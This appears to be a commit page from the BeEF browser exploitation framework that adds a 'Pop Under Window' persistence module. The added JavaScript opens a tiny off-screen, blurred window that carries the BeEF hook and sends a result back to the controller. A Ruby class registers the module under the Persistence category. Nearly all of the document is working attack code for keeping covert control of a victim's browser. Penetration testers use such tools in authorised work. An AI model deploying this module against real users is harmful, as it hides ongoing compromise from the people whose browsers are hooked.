persistence module added
git-svn-id: https://beef.googlecode.com/svn/trunk@531 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -0,0 +1,10 @@
|
||||
beef.execute(function() {
|
||||
|
||||
var result="Pop-under window successfully created!";
|
||||
|
||||
window.open(window.location.protocol + '//' + window.location.host + '/demos/basic.html','popunder','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
|
||||
|
||||
window.focus();
|
||||
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
|
||||
});
|
||||
@@ -0,0 +1,36 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Popunder_window < BeEF::Command
|
||||
|
||||
#
|
||||
# Defines and set up the commmand module.
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Pop Under Window',
|
||||
'Description' => 'Creates a new discrete pop under window with the beef hook included.',
|
||||
'Category' => 'Persistence',
|
||||
'Author' => 'ethicalhack3r',
|
||||
'File' => __FILE__,
|
||||
'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL }
|
||||
})
|
||||
|
||||
use_template!
|
||||
|
||||
end
|
||||
|
||||
# This method is being called when a hooked browser sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def callback
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user